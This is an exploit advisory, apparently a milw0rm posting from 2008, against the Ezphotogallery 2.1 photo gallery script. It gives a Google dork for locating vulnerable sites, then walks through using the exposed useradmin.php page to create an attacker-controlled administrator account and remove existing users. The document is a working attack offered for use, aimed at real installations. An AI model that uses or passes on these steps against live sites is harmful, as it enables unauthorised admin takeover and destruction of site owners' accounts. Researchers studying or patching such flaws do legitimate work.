38 lines
No EOL
1.1 KiB
Text
38 lines
No EOL
1.1 KiB
Text
#----------------------------------------------------------------
|
|
#
|
|
#Script : Ezphotogallery 2.1
|
|
#
|
|
#Type : Vulnerabilities ( Add Admin user/Remove user)
|
|
#
|
|
#Google Dork : "100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="
|
|
#
|
|
#----------------------------------------------------------------
|
|
#
|
|
#Discovered by : Stack
|
|
#
|
|
#----------------------------------------------------------------
|
|
#
|
|
#Script Download : http://heanet.dl.sourceforge.net/sourceforge/ezphotogallery/ezphotogallery-2.1.zip
|
|
#
|
|
#----------------------------------------------------------------
|
|
|
|
Exploit :
|
|
http://site.il/useradmin.php
|
|
how to use exploit
|
|
in Add user select
|
|
----------------------------------------
|
|
Simple example by Stack user :d :d
|
|
----------------------------------------
|
|
Add user
|
|
Name: Stack
|
|
Password: passstack
|
|
E-mail: Stack@hotmail.fr
|
|
Private: yes or no
|
|
Administrator: yes
|
|
now stack username is a administrator user
|
|
----------------------------------------
|
|
Remove user
|
|
User: chouse the user and click remove
|
|
----------------------------------------
|
|
|
|
# milw0rm.com [2008-09-11] |